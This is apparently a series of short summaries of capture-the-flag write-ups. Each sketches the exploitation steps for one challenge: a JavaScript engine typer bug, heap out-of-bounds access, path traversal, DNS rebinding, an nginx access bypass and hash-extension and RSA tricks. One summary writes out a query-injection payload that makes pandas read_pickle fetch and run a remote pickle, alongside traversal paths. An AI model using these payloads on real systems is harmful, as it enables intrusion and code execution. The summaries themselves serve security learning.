tl;dr

• Giving size > 48 causes heap OOB r/w of 16 bytes
• Use OOB r/w get leaks and overwrite objects for rip control

tl;dr

• Simple typer bug, range of BitAnd opcode is assumed to be [1, operand] when in reality it is [0, operand].
• Use range assumptions to create unchecked integer underflow.
• Bypass array bounds checks and obtain OOB write, overwrite size of array to get overlap.
• Use double & object array overlap to create addrOf & fakeObj primitives.
• Create overlapping fake array using StructureID leak to obtain arbitrary R/W.

tl;dr
-Get the docker-entrypoint.sh using /static../docker-entrypoint.sh
-Get the challenge files using /static../panda/cgi-bin/search_currency.py
-Host your exploit and use x’|@pd.read_pickle(‘http://0.0.0.0:6334/output.exploit')|' to execute the exploit

tl;dr

• This challenge comes under easy level challenge.
• The binary has a script being executed using execvp.

tl;dr

• Create a note with meta redirect tag to get callback.
• Leak the flag using search functionality.

tl;dr

• Use DNS Rebinding attack to read flag from /flag endpoint.

tl;dr

• Bypass nginx’s DENY ALL using SCRIPT_NAME
• Calculate key_id uploading flag.txt.enc
• Leak the key and decrypt flag.txt.enc

tl;dr

• use hash extension to bypass password check on login.
• use RSA properties to recover $q$ and get $p$ and therefore $N= p*q$.
• sign the message given, and get the flag.